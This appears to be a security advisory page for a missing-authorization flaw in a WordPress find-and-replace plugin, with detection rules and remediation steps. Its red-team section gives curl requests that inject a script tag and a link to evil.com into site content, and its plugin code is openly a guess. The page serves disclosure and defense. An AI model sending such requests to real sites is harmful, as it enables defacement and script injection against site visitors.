CVE-2023-52229
Executive Summary
CVE-2023-52229 is a Missing Authorization vulnerability (CWE-862) in the Word Replacer Pro plugin for WordPress, developed by Pdfcrowd. This plugin, which allows users to perform find-and-replace operations on page content, fails to properly enforce access controls on certain administrative functions. An unauthenticated attacker can exploit this flaw to modify arbitrary post content, inject malicious scripts, or alter site-wide replacement rules without any authentication. The vulnerability affects all versions up to and including 1.0. As of this report, no official patch has been released by the vendor, leaving all installations exposed.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
WordPress Ecosystem Context
This vulnerability is specific to the WordPress plugin ecosystem. It is not related to Apache, Nginx, or any other web server software. The flaw resides entirely within the plugin's authorization logic, which does not verify user capabilities before executing sensitive operations.
CVSS Breakdown & Threat Level
CVSS Score: 6.5 (Medium) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
- Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
- Attack Complexity (AC): Low – No special conditions or complex attack sequences are required.
- Privileges Required (PR): None – The attacker does not need any authentication.
- User Interaction (UI): None – No user action is required for exploitation.
- Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
- Confidentiality (C): Low – Limited information disclosure (e.g., reading replacement rules).
- Integrity (I): Low – The attacker can modify content or rules, but not all data.
- Availability (A): None – No direct impact on system availability.
Threat Level: Medium. While the CVSS score is 6.5, the lack of authentication requirement and the ability to modify content make this a significant risk for WordPress sites using the plugin. An attacker could deface pages, inject malicious links, or alter critical content.
Deep Dive & Mechanics
The Word Replacer Pro plugin adds a settings page under the WordPress admin menu where users can define find-and-replace rules. These rules are stored in the WordPress options table and applied to all post content during rendering. The vulnerability lies in the AJAX handler that processes rule updates. The plugin registers an AJAX action without checking for the manage_options capability or any other authorization. This means any unauthenticated user can send a POST request to wp-admin/admin-ajax.php with the appropriate action parameter and modify the replacement rules.
Root Cause: The plugin uses add_action('wp_ajax_nopriv_*', ...) for the update handler, which is intended for logged-out users, but fails to include a capability check inside the callback function. The code likely resembles:
add_action('wp_ajax_nopriv_wrpro_update_rules', 'wrpro_update_rules_callback');
function wrpro_update_rules_callback() {
// No capability check here
update_option('wrpro_rules', $_POST['rules']);
wp_die();
}
Attack Flow:
- Attacker identifies a WordPress site running Word Replacer Pro.
- Attacker sends a crafted POST request to
/wp-admin/admin-ajax.phpwith:action=wrpro_update_rulesrules=<malicious JSON payload>
- The plugin updates the stored rules without authentication.
- On subsequent page loads, the malicious rules are applied, altering content.
Vulnerable vs. Patched Code
Vulnerable Code (version 1.0):
// In word-replacer-pro.php
add_action('wp_ajax_nopriv_wrpro_update_rules', 'wrpro_update_rules_callback');
function wrpro_update_rules_callback() {
$rules = $_POST['rules'];
update_option('wrpro_rules', $rules);
echo 'Rules updated';
wp_die();
}
Patched Code (hypothetical fix):
add_action('wp_ajax_wrpro_update_rules', 'wrpro_update_rules_callback'); // Only for logged-in users
function wrpro_update_rules_callback() {
if (!current_user_can('manage_options')) {
wp_die('Unauthorized', 403);
}
$rules = sanitize_text_field($_POST['rules']);
update_option('wrpro_rules', $rules);
echo 'Rules updated';
wp_die();
}
The fix involves:
- Changing the hook from
wp_ajax_nopriv_*towp_ajax_*to require authentication. - Adding a capability check (
current_user_can('manage_options')). - Sanitizing input to prevent stored XSS.
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- A WordPress site with Word Replacer Pro version 1.0 installed and active.
- Network access to the site.
Exploitation Steps:
Identify Target: Use Shodan or manual browsing to find sites using the plugin (look for
/wp-content/plugins/word-replacer-pro/in page source).Craft Exploit Request: Use
curlto send a malicious update:curl -X POST https://target.com/wp-admin/admin-ajax.php \ -d "action=wrpro_update_rules" \ -d 'rules={"find":"old_text","replace":"<script>alert(1)</script>"}'Verify: Visit any page on the site. If the find text appears, it will be replaced with the malicious script.
Advanced Payload: Replace all instances of "WordPress" with a phishing link:
curl -X POST https://target.com/wp-admin/admin-ajax.php \
-d "action=wrpro_update_rules" \
-d 'rules={"find":"WordPress","replace":"<a href=\"http://evil.com\">WordPress</a>"}'
Blue Team (Defender)
Detection:
- Monitor for POST requests to
/wp-admin/admin-ajax.phpwithaction=wrpro_update_rulesfrom unauthenticated sources. - Look for unusual changes in the
wp_optionstable, specifically thewrpro_rulesoption. - Use the Sigma rule provided in Detection Engineering.
Honeypot:
- Deploy a fake WordPress instance with the vulnerable plugin and monitor for exploitation attempts.
Indicators of Compromise (IOCs)
Network:
- POST requests to
/wp-admin/admin-ajax.phpwith body containingaction=wrpro_update_rules. - Unusual
rulesparameter containing JavaScript or suspicious URLs.
- POST requests to
Host:
- Modified
wrpro_rulesoption in the WordPress database. - Unexpected content changes on pages (e.g., injected scripts, altered links).
- Modified
File:
- No file changes expected, as the vulnerability modifies database options.
Detection Engineering
YARA Rule
rule CVE_2023_52229_WordReplacerPro_Exploit {
meta:
description = "Detects exploitation attempts for CVE-2023-52229 in Word Replacer Pro"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-52229"
strings:
$ajax_action = "action=wrpro_update_rules"
$rules_param = "rules="
$script_tag = /<script[^>]*>/
$http_post = "POST"
condition:
$ajax_action and $rules_param and ($script_tag or #http_post > 0)
}
Sigma Rule
title: CVE-2023-52229 Word Replacer Pro Unauthenticated Rule Update
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated POST requests to admin-ajax.php with the wrpro_update_rules action
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'admin-ajax.php'
cs-uri-query|contains: 'action=wrpro_update_rules'
condition: selection
falsepositives:
- Legitimate admin actions (if logged in, but this rule targets unauthenticated)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2023-52229 Word Replacer Pro Unauthenticated Rule Update"; flow:to_server; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=wrpro_update_rules"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin if not critical to business operations.
- Implement a Web Application Firewall (WAF) rule to block requests containing
action=wrpro_update_rulesfrom unauthenticated sources. - Monitor logs for exploitation attempts using the Sigma rule above.
Long-Term Fix:
- Since no official patch exists, consider forking the plugin and applying the code fix shown in the "Vulnerable vs. Patched Code" section.
- Alternatively, replace the plugin with a secure alternative that performs similar functionality.
Workaround:
- Add the following to
.htaccessto block direct access to the vulnerable AJAX handler:<IfModule mod_rewrite.c> RewriteEngine On RewriteCond %{REQUEST_URI} ^/wp-admin/admin-ajax\.php RewriteCond %{QUERY_STRING} action=wrpro_update_rules RewriteRule .* - [F,L] </IfModule>
Valters IT – Securing WordPress ecosystems one CVE at a time.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.